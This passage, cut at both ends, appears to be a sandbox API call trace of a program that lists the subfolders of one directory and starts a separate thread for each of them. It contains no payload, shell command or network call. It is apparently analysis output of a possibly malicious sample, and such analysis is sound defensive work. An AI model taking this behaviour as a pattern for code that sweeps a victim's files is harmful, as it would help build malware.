_Dest=0x2f686b8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\*") returned="C:\\588bce7c90097ed212\\*" [0163.738] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f8d608 [0163.738] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8b3abf74, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b3abf74, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f802e0 [0163.741] wcscmp (_String1=".", _String2=".") returned 0 [0163.741] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8b3abf74, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b3abf74, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.741] wcscmp (_String1="..", _String2=".") returned 1 [0163.741] wcscmp (_String1="..", _String2="..") returned 0 [0163.741] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8413fc8f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8413fc8f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1025", cAlternateFileName="")) returned 1 [0163.742] wcscmp (_String1="1025", _String2=".") returned 1 [0163.742] wcscmp (_String1="1025", _String2="..") returned 1 [0163.742] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80620 [0163.742] wcscpy (in: _Dest=0x2f80620, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0163.742] wcscat (in: _Dest=0x2f80620, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0163.742] wcscat (in: _Dest=0x2f80620, _Source="1025" | out: _Dest="C:\\588bce7c90097ed212\\1025") returned="C:\\588bce7c90097ed212\\1025" [0165.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f80620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4 [0165.039] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8185d61e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8185d61e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1 [0165.039] wcscmp (_String1="1028", _String2=".") returned 1 [0165.039] wcscmp (_String1="1028", _String2="..") returned 1 [0165.039] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806e0 [0165.039] wcscpy (in: _Dest=0x2f806e0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.039] wcscat (in: _Dest=0x2f806e0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.039] wcscat (in: _Dest=0x2f806e0, _Source="1028" | out: _Dest="C:\\588bce7c90097ed212\\1028") returned="C:\\588bce7c90097ed212\\1028" [0165.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f806e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8 [0165.040] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x83ced794, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83ced794, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1029", cAlternateFileName="")) returned 1 [0165.040] wcscmp (_String1="1029", _String2=".") returned 1 [0165.040] wcscmp (_String1="1029", _String2="..") returned 1 [0165.040] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806a0 [0165.040] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.040] wcscat (in: _Dest=0x2f806a0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.040] wcscat (in: _Dest=0x2f806a0, _Source="1029" | out: _Dest="C:\\588bce7c90097ed212\\1029") returned="C:\\588bce7c90097ed212\\1029" [0165.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f806a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac [0165.041] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x841b2220, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x841b2220, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1030", cAlternateFileName="")) returned 1 [0165.041] wcscmp (_String1="1030", _String2=".") returned 1 [0165.041] wcscmp (_String1="1030", _String2="..") returned 1 [0165.041] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80720 [0165.041] wcscpy (in: _Dest=0x2f80720, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.041] wcscat (in: _Dest=0x2f80720, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.041] wcscat (in: _Dest=0x2f80720, _Source="1030" | out: _Dest="C:\\588bce7c90097ed212\\1030") returned="C:\\588bce7c90097ed212\\1030" [0165.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f80720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0165.042] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x818807c8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818807c8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1031", cAlternateFileName="")) returned 1 [0165.042] wcscmp (_String1="1031", _String2=".") returned 1 [0165.042] wcscmp (_String1="1031", _String2="..") returned 1 [0165.042] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80760 [0165.042] wcscpy (in: _Dest=0x2f80760, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.042] wcscat (in: _Dest=0x2f80760, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.042] wcscat (in: _Dest=0x2f80760, _Source="1031" | out: _Dest="C:\\588bce7c90097ed212\\1031") returned="C:\\588bce7c90097ed212\\1031" [0165.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f80760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0165.043] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x83dac201, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83dac201, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1032", cAlternateFileName="")) returned 1 [0165.043] wcscmp (_String1="1032", _String2=".") returned 1 [0165.043] wcscmp (_String1="1032", _String2="..") returned 1 [0165.043] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80860 [0165.043] wcscpy (in: _Dest=0x2f80860, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.043] wcscat (in: _Dest=0x2f80860, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.043] wcscat (in: _Dest=0x2f80860, _Source="1032" | out: _Dest="C:\\588bce7c90097ed212\\1032") returned="C:\\588bce7c90097ed212\\1032" [0165.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f80860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8 [0165.044] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x83d85f8d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83d85f8d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0165.044] wcscmp (_String1="1033", _String2=".") returned 1 [0165.044] wcscmp (_String1="1033", _String2="..") returned 1 [0165.044] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f808a0 [0165.044] wcscpy (in: _Dest=0x2f808a0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.044] wcscat (in: _Dest=0x2f808a0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.044] wcscat (in: _Dest=0x2f808a0, _Source="1033" | out: _Dest="C:\\588bce7c90097ed212\\1033") returned="C:\\588bce7c90097ed212\\1033" [0165.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f808a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0165.045] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x840a704f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x840a704f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1035", cAlternateFileName="")) returned 1 [0165.045] wcscmp (_String1="1035", _String2=".") returned 1 [0165.045] wcscmp (_String1="1035", _String2="..") returned 1 [0165.045] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7f9a0 [0165.045] wcscpy (in: _Dest=0x2f7f9a0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.045] wcscat (in: _Dest=0x2f7f9a0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.045] wcscat (in: _Dest=0x2f7f9a0, _Source="1035" | out: _Dest="C:\\588bce7c90097ed212\\1035") returned="C:\\588bce7c90097ed212\\1035" [0165.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7f9a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0165.045] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x83d39a46, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83d39a46, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0165.046] wcscmp (_String1="1036", _String2=".") returned 1 [0165.046] wcscmp (_String1="1036", _String2="..") returned 1 [0165.046] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fe60 [0165.046] wcscpy (in: _Dest=0x2f7fe60, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.046] wcscat (in: _Dest=0x2f7fe60, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.046] wcscat (in: _Dest=0x2f7fe60, _Source="1036" | out: _Dest="C:\\588bce7c90097ed212\\1036") returned="C:\\588bce7c90097ed212\\1036" [0165.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7fe60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0165.046] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8405ac92, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8405ac92, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1037", cAlternateFileName="")) returned 1 [0165.046] wcscmp (_String1="1037", _String2=".") returned 1 [0165.046] wcscmp (_String1="1037", _String2="..") returned 1 [0165.046] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fd20 [0165.046] wcscpy (in: _Dest=0x2f7fd20, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.047] wcscat (in: _Dest=0x2f7fd20, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.047] wcscat (in: _Dest=0x2f7fd20, _Source="1037" | out: _Dest="C:\\588bce7c90097ed212\\1037") returned="C:\\588bce7c90097ed212\\1037" [0165.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7fd20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8 [0165.047] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x840cd2fc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x840cd2fc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1038", cAlternateFileName="")) returned 1 [0165.047] wcscmp (_String1="1038", _String2=".") returned 1 [0165.047] wcscmp (_String1="1038", _String2="..") returned 1 [0165.047] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fc20 [0165.047] wcscpy (in: _Dest=0x2f7fc20, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.047] wcscat (in: _Dest=0x2f7fc20, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.047] wcscat (in: _Dest=0x2f7fc20, _Source="1038" | out: _Dest="C:\\588bce7c90097ed212\\1038") returned="C:\\588bce7c90097ed212\\1038" [0165.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7fc20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc [0165.048] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8424aa2f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8424aa2f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1 [0165.048] wcscmp (_String1="1040", _String2=".") returned 1 [0165.048] wcscmp (_String1="1040", _String2="..") returned 1 [0165.048] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7f960 [0165.048] wcscpy (in: _Dest=0x2f7f960, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.048] wcscat (in: _Dest=0x2f7f960, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.048] wcscat (in: _Dest=0x2f7f960, _Source="1040" | out: _Dest="C:\\588bce7c90097ed212\\1040") returned="C:\\588bce7c90097ed212\\1040" [0165.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7f960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0 [0165.049] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x841fe821, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x841fe821, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1 [0165.049] wcscmp (_String1="1041", _String2=".") returned 1 [0165.049] wcscmp (_String1="1041", _String2="..") returned 1 [0165.049] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7ffe0 [0165.049] wcscpy (in: _Dest=0x2f7ffe0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.049] wcscat (in: _Dest=0x2f7ffe0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.049] wcscat (in: _Dest=0x2f7ffe0, _Source="1041" | out: _Dest="C:\\588bce7c90097ed212\\1041") returned="C:\\588bce7c90097ed212\\1041" [0165.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7ffe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0165.050] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x842bd1a8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x842bd1a8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1 [0165.050] wcscmp (_String1="1042", _String2=".") returned 1 [0165.050] wcscmp (_String1="1042", _String2="..") returned 1 [0165.050] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7faa0 [0165.050] wcscpy (in: _Dest=0x2f7faa0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.050] wcscat (in: _Dest=0x2f7faa0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.050] wcscat (in: _Dest=0x2f7faa0, _Source="1042" | out: _Dest="C:\\588bce7c90097ed212\\1042") returned="C:\\588bce7c90097ed212\\1042" [0165.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7faa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0165.051] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x84119776, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84119776, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1043", cAlternateFileName="")) returned 1 [0165.051] wcscmp (_String1="1043", _String2=".") returned 1 [0165.051] wcscmp (_String1="1043", _String2="..") returned 1 [0165.051] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fa20 [0165.051] wcscpy (in: _Dest=0x2f7fa20, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.051] wcscat (in: _Dest=0x2f7fa20, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.051] wcscat (in: _Dest=0x2f7fa20, _Source="1043" | out: _Dest="C:\\588bce7c90097ed212\\1043") returned="C:\\588bce7c90097ed212\\1043" [0165.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7fa20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0165.052] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x84270d48, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84270d48, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1044", cAlternateFileName="")) returned 1 [0165.052] wcscmp (_String1="1044", _String2=".") returned 1 [0165.052] wcscmp (_String1="1044", _String2="..") returned 1 [0165.052] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fa60 [0165.052] wcscpy (in: _Dest=0x2f7fa60, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.052] wcscat (in: _Dest=0x2f7fa60, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.052] wcscat (in: _Dest=0x2f7fa60, _Source="1044" | out: _Dest="C:\\588bce7c90097ed212\\1044") returned="C:\\588bce7c90097ed212\\1044" [0165.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7fa60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0 [0165.052] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x843a1fe2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x843a1fe2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1045", cAlternateFileName="")) returned 1 [0165.052] wcscmp (_String1="1045", _String2=".") returned 1 [0165.052] wcscmp (_String1="1045", _String2="..") returned 1 [0165.052] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fc60 [0165.052] wcscpy (in: _Dest=0x2f7fc60, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.052] wcscat (in: _Dest=0x2f7fc60, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.053] wcscat (in: _Dest=0x2f7fc60, _Source="1045" | out: _Dest="C:\\588bce7c90097ed212\\1045") returned="C:\\588bce7c90097ed212\\1045" [0165.053] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7fc60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4 [0165.053] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8443a930, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8443a930, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1 [0165.053] wcscmp (_String1="1046", _String2=".") returned 1 [0165.053] wcscmp (_String1="1046", _String2="..") returned 1 [0165.053] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fbe0 [0165.053] wcscpy (in: _Dest=0x2f7fbe0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.053] wcscat (in: _Dest=0x2f7fbe0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.053] wcscat (in: _Dest=0x2f7fbe0, _Source="1046" | out: _Dest="C:\\588bce7c90097ed212\\1046") returned="C:\\588bce7c90097ed212\\1046" [0165.053] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, 